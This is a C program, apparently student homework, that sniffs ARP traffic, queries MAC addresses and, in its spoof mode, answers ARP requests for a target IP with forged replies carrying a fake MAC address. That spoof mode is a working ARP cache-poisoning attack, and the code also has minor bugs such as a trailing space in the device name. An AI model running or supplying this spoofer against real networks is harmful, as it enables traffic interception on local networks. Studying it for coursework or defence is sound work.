//http://reader.roodo.com/thinkingmore/archives/554037.html

#include <netinet/if\_ether.h>

#include <netinet/in.h>

#include <sys/types.h>

#include <sys/socket.h>

#include <sys/ioctl.h>

#include <netpacket/packet.h>

#include <net/ethernet.h>

#include <net/if.h>

#include <unistd.h>

#include <arpa/inet.h>

#include <stdio.h>

#include <stdlib.h>

#include <string.h>

#include <math.h>

#include "arp.h"

/\*

\* Change "enp0s3" to your device name (e.g. "eth0"), when you test your hoework.

\* If you don't know your device name, you can use "ifconfig" command on Linux.

\* You have to use "enp2s0f5" when you ready to upload your homework.

\*/

#define DEVICE\_NAME "enp0s3 "

/\*

\* You have to open two socket to handle this program.

\* One for input , the other for output.

\*/

void if\_ip(int \*, char\*);

void if\_mac(unsigned char \*,char\*,int\*);

int main(int argc , char\* argv[]){

int sockfd\_recv = 0, sockfd\_send = 0 /\*, sockfd\_af\*/;

int opt,datasize,socklen,io;

int ifindex=0;

int i,j,check=0,spoof\_mode\_flag=0;

int incoming\_ip[4],src\_ip[4];

unsigned char buf[1024],incoming\_mac[6],src\_mac[6];

char ip\_buf[50];

struct arp\_packet ether\_pac,request\_pac;

struct sockaddr\_ll sa;

struct ifreq req;

struct in\_addr myip;

memset(buf,'\0',1024);

socklen = sizeof(sa);

//check root privilege

if(getuid() != 0 ){

printf("ERROR : You must run this program in root privilege\n");

exit(0);

}

printf("[ ARP sniffer and spoof program ]\n");

//https://wirelessr.gitbooks.io/working-life/content/sockraw\_with\_tcpdump.html

//PF\_PACKET 支援兩個socket type:SOCK\_RAW 和 SOCK\_DGRAM, SOCK\_RAW 會留下完整的 ethernet 標頭

// Open a recv socket in data-link layer.

if((sockfd\_recv = socket(PF\_PACKET, SOCK\_RAW, htons(ETH\_P\_ALL)))<0){

perror("open recv socket error");

exit(1);

}

/\*

\* Use recvfrom function to get packet.

\* recvfrom( ... )

\*/

// Open a send socket in data-link layer.

if((sockfd\_send = socket(PF\_PACKET, SOCK\_RAW, htons(ETH\_P\_ALL))) < 0){

perror("open send socket error");

exit(sockfd\_send);

}

/\*

\* Use ioctl function binds the send socket and the Network Interface Card.

` \* ioctl( ... )

\*/

// get index

//SIOCGIFINDEX把 接口 的 索引 存入 ifr\_ifindex.

strncpy(req.ifr\_name,DEVICE\_NAME,IFNAMSIZ);

if((io=ioctl(sockfd\_send,SIOCGIFINDEX,&req))<0){

perror("ioctl");

exit(1);

}

ifindex = req.ifr\_ifindex;

// get ip

//SIOCGIFADDR 獲取接口地址

if((io=ioctl(sockfd\_send,SIOCGIFADDR,&req))<0){

perror("ioctl");

exit(1);

}

myip = ((struct sockaddr\_in \*)&req.ifr\_addr)->sin\_addr;

strcpy(ip\_buf,inet\_ntoa(myip));

if\_ip(src\_ip,ip\_buf);

//get mac

//SIOCGIFHWADDR使用 ifr\_hwaddr讀取 或設置設備的硬件地址。設置硬件地址是特權操作

if((io=ioctl(sockfd\_send,SIOCGIFHWADDR,&req))<0){

perror("ioctl");

exit(1);

}

for(i=0;i<6;i++){

src\_mac[i]=req.ifr\_hwaddr.sa\_data[i];

}

// Fill the parameters of the sa.

sa.sll\_family = PF\_PACKET;

sa.sll\_protocol = ETH\_P\_ARP;

sa.sll\_ifindex = ifindex;

sa.sll\_hatype = ARPHRD\_ETHER;

sa.sll\_pkttype = 0; //PACKET\_OTHERHOST

sa.sll\_halen = 0;

sa.sll\_addr[6]=0x00;

sa.sll\_addr[7]=0x00;

/\*

\* use sendto function with sa variable to send your packet out

\* sendto( ... )

\*/

//---------SET REQUEST PACKET-----------------//

/\*ether header\*/

/\*eth\_des\_mac\*/

for(i=0;i<6;i++){

request\_pac.eth\_hdr.ether\_dhost[i] = 0xff;

}

/\*eth\_src\_mac\*/

for(i=0;i<6;i++){

request\_pac.eth\_hdr.ether\_shost[i] = src\_mac[i];

}

/\*eth\_type\*/

request\_pac.eth\_hdr.ether\_type = htons(ETH\_P\_ARP);

/\*arp header\*/

request\_pac.arp.arp\_hrd = htons(0x0001);

request\_pac.arp.arp\_pro = htons(0x0800);

request\_pac.arp.arp\_hln = 0x06;

request\_pac.arp.arp\_pln = 0x04;

request\_pac.arp.arp\_op = htons(0x0001);

for(i=0;i<6;i++){request\_pac.arp.arp\_sha[i] = src\_mac[i];}

for(i=0;i<4;i++){request\_pac.arp.arp\_spa[i] = src\_ip[i];}

//--------------------------------------------//

//check argument h,l,q

if((opt=getopt(argc,argv,"hlq"))!=-1){

switch(opt){

case 'h':

printf("Format:\n");

printf("(1) ./arp -l -a\n");

printf("(2) ./arp -l <filter\_ip\_address>\n");

printf("(3) ./arp -q <query\_ip\_address> \n");

printf("(4) ./arp <fake\_Mac\_address> <target\_ip\_address>\n");

exit(0);

break;

case 'l':

if(argc != 3){

printf("Wrong filter ip address\n");

exit(0);

}

printf("### ARP sniffer mode ### \n");

if(strcmp(argv[2],"-a") == 0){

while((datasize = recvfrom(sockfd\_recv,(char\*)&ether\_pac,sizeof(ether\_pac),0,NULL,NULL))> 0){

if(htons(ether\_pac.eth\_hdr.ether\_type) == 0x806){

printf("get arp :%x\n",(unsigned short)htons(ether\_pac.eth\_hdr.ether\_type));

if(htons(ether\_pac.arp.arp\_op) == 0x001){

printf("request : who has %d.%d.%d.%d ? Tell %d.%d.%d.%d\n",ether\_pac.arp.arp\_tpa[0],ether\_pac.arp.arp\_tpa[1],

ether\_pac.arp.arp\_tpa[2],ether\_pac.arp.arp\_tpa[3],ether\_pac.arp.arp\_spa[0],ether\_pac.arp.arp\_spa[1],

ether\_pac.arp.arp\_spa[2],ether\_pac.arp.arp\_spa[3]);

}

}

}

}else{

//check argv[2] is an ip address

if\_ip(incoming\_ip,argv[2]);

//recv argv[2] ip arp packet

while((datasize = recvfrom(sockfd\_recv,(char\*)&ether\_pac,sizeof(ether\_pac),0,NULL,NULL))> 0){

if(htons(ether\_pac.eth\_hdr.ether\_type) == 0x806){

printf("get arp :%x\n",(unsigned short)htons(ether\_pac.eth\_hdr.ether\_type));

if(htons(ether\_pac.arp.arp\_op) == 0x001){

if(ether\_pac.arp.arp\_tpa[0]==incoming\_ip[0] && ether\_pac.arp.arp\_tpa[1] == incoming\_ip[1]

&& ether\_pac.arp.arp\_tpa[2]==incoming\_ip[2] && ether\_pac.arp.arp\_tpa[3] == incoming\_ip[3]){

printf("Get ARP packet - who has %d.%d.%d.%d ? Tell %d.%d.%d.%d\n",ether\_pac.arp.arp\_tpa[0],ether\_pac.arp.arp\_tpa[1],

ether\_pac.arp.arp\_tpa[2],ether\_pac.arp.arp\_tpa[3],ether\_pac.arp.arp\_spa[0],ether\_pac.arp.arp\_spa[1],

ether\_pac.arp.arp\_spa[2],ether\_pac.arp.arp\_spa[3]);

}

}

}

}

}/\*else\*/

break;

case 'q':

/\*request mode\*/

/\*send request arp packet\*/

if(argc != 3){

printf("Wrong request ip address\n");

exit(0);

}

printf("### ARP query mode ###\n");

if\_ip(incoming\_ip,argv[2]);

for(i=0;i<4;i++){request\_pac.arp.arp\_tpa[i] = incoming\_ip[i];}

socklen = sizeof(sa);

if(sendto(sockfd\_send,&request\_pac,sizeof(request\_pac),0,(struct sockaddr \*)&sa,(socklen\_t)socklen) < 0){

perror("sendto");

exit(1);

}

//recv reply packet

while((datasize = recvfrom(sockfd\_recv,(char\*)&ether\_pac,sizeof(ether\_pac),0,NULL,NULL))> 0 ){

if(htons(ether\_pac.eth\_hdr.ether\_type) == 0x806){

if(htons(ether\_pac.arp.arp\_op) == 0x002){

printf("MAC address of %d.%d.%d.%d is %.2x:%.2x:%.2x:%.2x:%.2x:%.2x\n",

ether\_pac.arp.arp\_spa[0],ether\_pac.arp.arp\_spa[1],ether\_pac.arp.arp\_spa[2],ether\_pac.arp.arp\_spa[3],

ether\_pac.arp.arp\_sha[0],ether\_pac.arp.arp\_sha[1],ether\_pac.arp.arp\_sha[2],ether\_pac.arp.arp\_sha[3],

ether\_pac.arp.arp\_sha[4],ether\_pac.arp.arp\_sha[5]);

exit(0);

}

}

}

exit(0);

break;

}

}

/\*-----------spoof mode--------------\*/

if\_mac(incoming\_mac,argv[1],&spoof\_mode\_flag);

if\_ip(incoming\_ip,argv[2]);

check ==0;

if(spoof\_mode\_flag ==1){printf("### ARP spoof mode ###\n");}

while(check == 0 && spoof\_mode\_flag ==1){

if((datasize = recvfrom(sockfd\_recv,(char\*)&ether\_pac,sizeof(ether\_pac),0,NULL,NULL))> 0 ){

if(htons(ether\_pac.eth\_hdr.ether\_type) == 0x806){

if(htons(ether\_pac.arp.arp\_op) == 0x001){

if(ether\_pac.arp.arp\_tpa[0] == incoming\_ip[0] && ether\_pac.arp.arp\_tpa[1] == incoming\_ip[1]

&& ether\_pac.arp.arp\_tpa[2] == incoming\_ip[2] && ether\_pac.arp.arp\_tpa[3] == incoming\_ip[3]){

printf("Get ARP packet : who has %d.%d.%d.%d ? Tell %d.%d.%d.%d\n",ether\_pac.arp.arp\_tpa[0],ether\_pac.arp.arp\_tpa[1],

ether\_pac.arp.arp\_tpa[2],ether\_pac.arp.arp\_tpa[3],ether\_pac.arp.arp\_spa[0],ether\_pac.arp.arp\_spa[1],

ether\_pac.arp.arp\_spa[2],ether\_pac.arp.arp\_spa[3]);

check =1;

}

}

}

}

if(check ==1){

for(i=0;i<6;i++){request\_pac.eth\_hdr.ether\_dhost[i] = ether\_pac.arp.arp\_sha[i];}

for(i=0;i<6;i++){request\_pac.eth\_hdr.ether\_shost[i] = src\_mac[i];}

for(i=0;i<4;i++){request\_pac.arp.arp\_spa[i] = ether\_pac.arp.arp\_tpa[i];}

for(i=0;i<6;i++){request\_pac.arp.arp\_sha[i] = incoming\_mac[i];};

for(i=0;i<4;i++){request\_pac.arp.arp\_tpa[i] = ether\_pac.arp.arp\_spa[i];}

for(i=0;i<6;i++){request\_pac.arp.arp\_tha[i] = ether\_pac.arp.arp\_sha[i];};

request\_pac.arp.arp\_op = htons(0x0002);

if(sendto(sockfd\_send,&request\_pac,sizeof(request\_pac),0,(struct sockaddr \*)&sa,(socklen\_t)socklen) < 0){

perror("sendto");

exit(1);

}

printf("Send ARP Reply : %d.%d.%d.%d has MAC %.2x:%.2x:%.2x:%.2x:%.2x:%.2x\n",ether\_pac.arp.arp\_tpa[0],ether\_pac.arp.arp\_tpa[1],

ether\_pac.arp.arp\_tpa[2],ether\_pac.arp.arp\_tpa[3],request\_pac.arp.arp\_sha[0],request\_pac.arp.arp\_sha[1],

request\_pac.arp.arp\_sha[2],request\_pac.arp.arp\_sha[3],request\_pac.arp.arp\_sha[4],request\_pac.arp.arp\_sha[5]);

}

}

return 0;

}

//check argv[2] is an ip address

void if\_ip(int \*incoming\_ip , char\* ip){

char delim[] = ". \n\t";

char \*token=0;

int i;

for(i=0;i<=4;i++){

if(i==0)

token = strtok(ip,delim);

else if(i<=3){//ip 少於4組

token = strtok(NULL,delim);

if(token == NULL){

printf("Wrong filter ip address\n");

exit(1);

}

}else{

token = strtok(NULL,delim);

if(token != NULL){

printf("Wrong filter ip address\n");

exit(1);

}

}

if(i<=3){

if(atoi(token)>=0 && atoi(token) <256 ){ //檢查是不是在256～0之間

incoming\_ip[i]=atoi(token);

}else{

printf("Wrong filter ip address\n");

exit(0);

}

}

}

}

void if\_mac(unsigned char \*incoming\_mac,char\* mac,int\* flag){

char \*endptr;

char delim[] = ": \n\t";

char \*token=0;

int i;

int testmac;

for(i=0;i<=6;i++){

if(i==0)

token = strtok(mac,delim);

else if(i<=5){//mac 少於6組

token = strtok(NULL,delim);

if(token == NULL){

printf("Wrong mac address\n");

exit(1);

}

}else{

token = strtok(NULL,delim);

if(token != NULL){

printf("Wrong mac address\n");

exit(1);

}

}

if(i<=5){

testmac = strtol(token,&endptr,16);

if(testmac>=0 && testmac <256 ){

incoming\_mac[i] = testmac;

}else{

printf("Wrong mac address\n");

exit(0);

}

}

}

\*flag = 1;

}